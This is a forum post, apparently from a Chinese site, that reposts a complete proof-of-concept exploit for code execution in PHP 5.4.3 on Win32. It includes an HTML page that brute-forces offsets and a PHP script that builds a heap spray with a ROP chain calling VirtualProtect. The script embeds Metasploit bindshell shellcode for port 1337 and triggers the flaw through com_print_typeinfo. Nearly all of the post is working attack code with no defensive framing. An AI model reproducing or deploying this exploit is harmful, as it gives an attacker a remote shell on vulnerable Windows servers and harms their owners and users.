大左同学 發表於 2012-5-17 10:40:05

PHP 5.4 (5.4.3) Code Execution (Win32) 代码

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32) <br />// Exploit author: 0in (Maksymilian Motyl) <br />// Email: 0in(dot)email(at)gmail.com <br />// * Bug with Variant type parsing originally discovered by Condis <br />// Tested on Windows XP SP3 fully patched (Polish) <br />=================== <br />offset-brute.html <br />=================== <br />&lt;html&gt;&lt;body&gt; <br />&lt;title&gt;0day&lt;/title&gt; <br />&lt;center&gt; <br />&lt;font size=7&gt;PHP 5.4.3 0day by 0in &amp; cOndis&lt;/font&gt;&lt;br&gt; <br />&lt;textarea rows=50 cols=50 id=&quot;log&quot;&gt;&amp;lt;/textarea&amp;gt; <br />&lt;/center&gt; <br />&lt;script&gt; <br />function sleep(milliseconds) { <br />var start = new Date().getTime(); <br />for (var i = 0; i &lt; 1e7; i++) { <br />if ((new Date().getTime() - start) &gt; milliseconds){ <br />break; <br />} <br />} <br />} <br />function makeRequest(url, parameters) <br />{ <br />var xmlhttp = new XMLHttpRequest(); <br />if (window.XMLHttpRequest) { <br />xmlhttp = new XMLHttpRequest(); <br />if (xmlhttp.overrideMimeType) { <br />xmlhttp.overrideMimeType('text/xml'); <br />} <br />} else if (window.ActiveXObject) { <br />// IE <br />try { xmlhttp = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;); } <br />catch (e) { <br />try { xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;); } <br />catch (e) {} <br />} <br />} <br />if (!xmlhttp) { <br />alert('Giving up Cannot create an XMLHTTP instance'); <br />return false; <br />} <br />xmlhttp.open(&quot;GET&quot;,url,true); <br />xmlhttp.send(null); <br />return true; <br />} <br />test=document.getElementById(&quot;log&quot;); <br />for(offset=0;offset&lt;300;offset++) <br />{ <br />log.value+=&quot;Trying offset:&quot;+offset+&quot;\r\n&quot;; <br />makeRequest(&quot;0day.php?offset=&quot;+offset); <br />sleep(500); <br />} <br />&lt;/script&gt;&lt;/body&gt;&lt;/html&gt; <br />=================== <br />0day.php <br />=================== <br />&lt;?php <br />$spray = str_repeat(&quot;\x90&quot;,0x200); <br />$offset=$_GET['offset']; <br />// 775DF0Da # ADD ESP,10 # RETN ** <br />$spray = substr_replace($spray, &quot;\xda\xf0\x5d\x77&quot;, (strlen($spray))*-1,(strlen($spray))*-1); <br />// :&gt; 0x048d0030 <br />$spray = substr_replace($spray, pack(&quot;L&quot;,0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1); <br />//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN <br />$spray = substr_replace($spray, &quot;\x9f\xae\x52\x77&quot;, (strlen($spray)-0x10)*-1,(strlen($spray))*-1); <br />// Adress of VirtualProtect 0x7c801ad4 <br />$spray = substr_replace($spray, &quot;\xd4\x1a\x80\x7c&quot;, (strlen($spray)-0x14)*-1,(strlen($spray))*-1); <br />// LPVOID lpAddress = 0x048d0060 www.jb51.net <br />$spray = substr_replace($spray, pack(&quot;L&quot;,0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1); <br />// SIZE_T dwSize = 0x01000000 <br />$spray = substr_replace($spray, &quot;\x00\x00\x10\x00&quot;, (strlen($spray)-0x20)*-1,(strlen($spray))*-1); <br />// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0 <br />$spray = substr_replace($spray, &quot;\x40\x00\x00\x00&quot;, (strlen($spray)-0x24)*-1,(strlen($spray))*-1); <br />// __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000 <br />// 0x048d0068 <br />$spray = substr_replace($spray, pack(&quot;L&quot;,0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1); <br />//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** <br />$spray = substr_replace($spray, &quot;\xb4\xe8\xdf\x77&quot;, (strlen($spray)-0x18)*-1,4); <br />// Ret Address = 0x048d0080 <br />$spray = substr_replace($spray, pack(&quot;L&quot;,0x048d0080+$offset), (strlen($spray)-0x48)*-1,4); <br />$stacktrack = &quot;\xbc\x0c\xb0\xc0\x00&quot;; <br />// Universal win32 bindshell on port 1337 from metasploit <br />$shellcode = $stacktrack.&quot;\x33\xc9\x83\xe9\xb0&quot;. <br />&quot;\x81\xc4\xd0\xfd\xff\xff&quot;. <br />&quot;\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d&quot;. <br />&quot;\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96&quot;. <br />&quot;\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2&quot;. <br />&quot;\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0&quot;. <br />&quot;\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41&quot;. <br />&quot;\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82&quot;. <br />&quot;\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2&quot;. <br />&quot;\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39&quot;. <br />&quot;\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9&quot;. <br />&quot;\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b&quot;. <br />&quot;\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a&quot;. <br />&quot;\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88&quot;. <br />&quot;\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01&quot;. <br />&quot;\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20&quot;. <br />&quot;\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e&quot;. <br />&quot;\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39&quot;. <br />&quot;\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44&quot;. <br />&quot;\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96&quot;. <br />&quot;\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38&quot;. <br />&quot;\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9&quot;. <br />&quot;\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09&quot;. <br />&quot;\x4e\x33\xe4\x96\xcd\xcc\x32\x69&quot;; <br />$spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode))); <br />$fullspray=&quot;&quot;; <br />for($i=0;$i&lt;0x4b00;$i++) <br />{ <br />$fullspray.=$spray; <br />} <br />$j=array(); <br />$e=array(); <br />$b=array(); <br />$a=array(); <br />$c=array(); <br />array_push($j,$fullspray); <br />array_push($e,$fullspray.&quot;W&quot;); <br />array_push($b,$fullspray.&quot;A&quot;); <br />array_push($a,$fullspray.&quot;S&quot;); <br />array_push($c,$fullspray.&quot;!&quot;); <br />$vVar = new VARIANT(0x048d0038+$offset); <br />// Shoot him <br />com_print_typeinfo($vVar); //CRASH -&gt; 102F3986 FF50 10 CALL DWORD PTR DS: <br />echo $arr; <br />echo $spray; <br />?&gt;
頁: [1]
查看完整版本: PHP 5.4 (5.4.3) Code Execution (Win32) 代码